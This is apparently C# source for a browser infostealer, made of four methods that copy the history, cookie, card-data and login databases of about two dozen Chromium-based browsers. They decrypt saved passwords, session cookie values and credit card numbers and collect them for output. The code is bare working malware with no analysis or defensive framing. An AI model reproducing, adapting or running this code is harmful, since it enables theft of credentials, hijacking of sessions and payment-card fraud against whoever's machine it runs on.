// Return list with arrays (url, title, visits, time) public static void get() { // Path info string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; string u_s = "\\User Data\\Default\\History"; // Browsers list string[] chromiumBasedBrowsers = new string[] { l_a + "Google\\Chrome" + u_s, l_a + "Google(x86)\\Chrome" + u_s, l_a + "Chromium" + u_s, a_a + "Opera Software\\Opera Stable\\History", l_a + "BraveSoftware\\Brave-Browser" + u_s, l_a + "Epic Privacy Browser" + u_s, l_a + "Amigo" + u_s, l_a + "Vivaldi" + u_s, l_a + "Orbitum" + u_s, l_a + "Mail.Ru\\Atom" + u_s, l_a + "Kometa" + u_s, l_a + "Comodo\\Dragon" + u_s, l_a + "Torch" + u_s, l_a + "Comodo" + u_s, l_a + "Slimjet" + u_s, l_a + "360Browser\\Browser" + u_s, l_a + "Maxthon3" + u_s, l_a + "K-Melon" + u_s, l_a + "Sputnik\\Sputnik" + u_s, l_a + "Nichrome" + u_s, l_a + "CocCoc\\Browser" + u_s, l_a + "uCozMedia\\Uran" + u_s, l_a + "Chromodo" + u_s, l_a + "Yandex\\YandexBrowser" + u_s }; List <string[]> history = new List <string[]>(); // Database string tempHistoryLocation = ""; // Search all browsers foreach (string browser in chromiumBasedBrowsers) { if (File.Exists(browser)) { tempHistoryLocation = Environment.GetEnvironmentVariable("temp") + "\\browserHistory"; if (File.Exists(tempHistoryLocation)) { File.Delete(tempHistoryLocation); } File.Copy(browser, tempHistoryLocation); } else { continue; } // Read chrome database cSQLite sSQLite = new cSQLite(tempHistoryLocation); sSQLite.ReadTable("urls"); for (int i = 0; i < sSQLite.GetRowCount(); i++) { // Get data from database string url = Convert.ToString(sSQLite.GetValue(i, 1)); string title = Convert.ToString(sSQLite.GetValue(i, 2)); string visits = Convert.ToString(Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1); string time = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local)); // If no data => break if (string.IsNullOrEmpty(url)) { break; } string[] credentials = new string[4] { url, Crypt.toUTF8(title), visits, time }; history.Add(credentials); continue; } continue; } output.history = history; core.Exit("Browsers history received", output); }
// Return list with arrays (value, hostKey, name, path, expires, isSecure) public static void get() { // Path info string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; string u_s = "\\User Data\\Default\\Cookies"; // Browsers list string[] chromiumBasedBrowsers = new string[] { l_a + "Google\\Chrome" + u_s, l_a + "Google(x86)\\Chrome" + u_s, l_a + "Chromium" + u_s, a_a + "Opera Software\\Opera Stable\\Cookies", l_a + "BraveSoftware\\Brave-Browser" + u_s, l_a + "Epic Privacy Browser" + u_s, l_a + "Amigo" + u_s, l_a + "Vivaldi" + u_s, l_a + "Orbitum" + u_s, l_a + "Mail.Ru\\Atom" + u_s, l_a + "Kometa" + u_s, l_a + "Comodo\\Dragon" + u_s, l_a + "Torch" + u_s, l_a + "Comodo" + u_s, l_a + "Slimjet" + u_s, l_a + "360Browser\\Browser" + u_s, l_a + "Maxthon3" + u_s, l_a + "K-Melon" + u_s, l_a + "Sputnik\\Sputnik" + u_s, l_a + "Nichrome" + u_s, l_a + "CocCoc\\Browser" + u_s, l_a + "uCozMedia\\Uran" + u_s, l_a + "Chromodo" + u_s, l_a + "Yandex\\YandexBrowser" + u_s }; List <Dictionary <string, string> > cookies = new List <Dictionary <string, string> >(); // Database string tempCookieLocation = ""; // Search all browsers foreach (string browser in chromiumBasedBrowsers) { if (File.Exists(browser)) { tempCookieLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCookies"; if (File.Exists(tempCookieLocation)) { File.Delete(tempCookieLocation); } File.Copy(browser, tempCookieLocation); } else { continue; } // Read chrome database cSQLite sSQLite = new cSQLite(tempCookieLocation); sSQLite.ReadTable("cookies"); for (int i = 0; i < sSQLite.GetRowCount(); i++) { // Get data from database string value = sSQLite.GetValue(i, 12); string hostKey = sSQLite.GetValue(i, 1); string name = sSQLite.GetValue(i, 2); string path = sSQLite.GetValue(i, 4); string expires = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(sSQLite.GetValue(i, 5))), TimeZoneInfo.Local)); string isSecure = sSQLite.GetValue(i, 6).ToUpper(); // If no data => break if (string.IsNullOrEmpty(name)) { break; } Dictionary <string, string> credentials = new Dictionary <string, string> { ["value"] = Crypt.toUTF8(Crypt.decryptChrome(value, browser)), ["hostKey"] = hostKey, ["name"] = Crypt.toUTF8(name), ["path"] = path, ["expires"] = expires, ["isSecure"] = isSecure }; cookies.Add(credentials); continue; } continue; } output.cookies = cookies; core.Exit("Browsers cookies received", output); }
// Return list with arrays (number, expYear, expMonth, name) public static void get() { // Path info string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; string u_s = "\\User Data\\Default\\Web data"; // Browsers list string[] chromiumBasedBrowsers = new string[] { l_a + "Google\\Chrome" + u_s, l_a + "Google(x86)\\Chrome" + u_s, l_a + "Chromium" + u_s, // SCARY BUG // a_a + "Opera Software\\Opera Stable\\Web Data", l_a + "BraveSoftware\\Brave-Browser" + u_s, l_a + "Epic Privacy Browser" + u_s, l_a + "Amigo" + u_s, l_a + "Vivaldi" + u_s, l_a + "Orbitum" + u_s, l_a + "Mail.Ru\\Atom" + u_s, l_a + "Kometa" + u_s, l_a + "Comodo\\Dragon" + u_s, l_a + "Torch" + u_s, l_a + "Comodo" + u_s, l_a + "Slimjet" + u_s, l_a + "360Browser\\Browser" + u_s, l_a + "Maxthon3" + u_s, l_a + "K-Melon" + u_s, l_a + "Sputnik\\Sputnik" + u_s, l_a + "Nichrome" + u_s, l_a + "CocCoc\\Browser" + u_s, l_a + "uCozMedia\\Uran" + u_s, l_a + "Chromodo" + u_s, l_a + "Yandex\\YandexBrowser" + u_s }; List <string[]> creditcard = new List <string[]>(); // Database string tempCCLocation = ""; // Search all browsers foreach (string browser in chromiumBasedBrowsers) { if (File.Exists(browser)) { tempCCLocation = Environment.GetEnvironmentVariable("temp") + "\\browserCreditCards"; if (File.Exists(tempCCLocation)) { File.Delete(tempCCLocation); } File.Copy(browser, tempCCLocation); } else { continue; } // Read chrome database cSQLite sSQLite = new cSQLite(tempCCLocation); sSQLite.ReadTable("credit_cards"); for (int i = 0; i < sSQLite.GetRowCount(); i++) { // Get data from database string number = sSQLite.GetValue(i, 4); string expYear = sSQLite.GetValue(i, 3); string expMonth = sSQLite.GetValue(i, 2); string name = sSQLite.GetValue(i, 1); // If no data => break if (string.IsNullOrEmpty(number)) { break; } string[] credentials = new string[4] { Crypt.decryptChrome(number, browser), expYear, expMonth, Crypt.toUTF8(name) }; creditcard.Add(credentials); continue; } continue; } output.creditcards = creditcard; core.Exit("Browsers credit cards received", output); }
// Return list with arrays (hostname, usesrname, password) public static void get() { // Path info string a_a = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; string l_a = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; string u_s = "\\User Data\\Default\\Login Data"; // Browsers list string[] chromiumBasedBrowsers = new string[] { l_a + "Google\\Chrome" + u_s, l_a + "Google(x86)\\Chrome" + u_s, l_a + "Chromium" + u_s, a_a + "Opera Software\\Opera Stable\\Login Data", l_a + "BraveSoftware\\Brave-Browser" + u_s, l_a + "Epic Privacy Browser" + u_s, l_a + "Amigo" + u_s, l_a + "Vivaldi" + u_s, l_a + "Orbitum" + u_s, l_a + "Mail.Ru\\Atom" + u_s, l_a + "Kometa" + u_s, l_a + "Comodo\\Dragon" + u_s, l_a + "Torch" + u_s, l_a + "Comodo" + u_s, l_a + "Slimjet" + u_s, l_a + "360Browser\\Browser" + u_s, l_a + "Maxthon3" + u_s, l_a + "K-Melon" + u_s, l_a + "Sputnik\\Sputnik" + u_s, l_a + "Nichrome" + u_s, l_a + "CocCoc\\Browser" + u_s, l_a + "uCozMedia\\Uran" + u_s, l_a + "Chromodo" + u_s, l_a + "Yandex\\YandexBrowser" + u_s }; List <string[]> passwords = new List <string[]>(); // Database string tempDatabaseLocation = ""; // Search all browsers foreach (string browser in chromiumBasedBrowsers) { if (File.Exists(browser)) { tempDatabaseLocation = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords"; if (File.Exists(tempDatabaseLocation)) { File.Delete(tempDatabaseLocation); } File.Copy(browser, tempDatabaseLocation); } else { continue; } // Read chrome database cSQLite sSQLite = new cSQLite(tempDatabaseLocation); sSQLite.ReadTable("logins"); for (int i = 0; i < sSQLite.GetRowCount(); i++) { // Get data from database string hostname = sSQLite.GetValue(i, 0); string username = sSQLite.GetValue(i, 3); string password = sSQLite.GetValue(i, 5); // If no data => break if (string.IsNullOrEmpty(password)) { break; } // Show credentials string[] credentials = new string[3] { hostname, Crypt.toUTF8(username), Crypt.toUTF8(Crypt.decryptChrome(password, browser)) }; passwords.Add(credentials); continue; } continue; } output.passwords = passwords; core.Exit("Browsers passwords received", output); }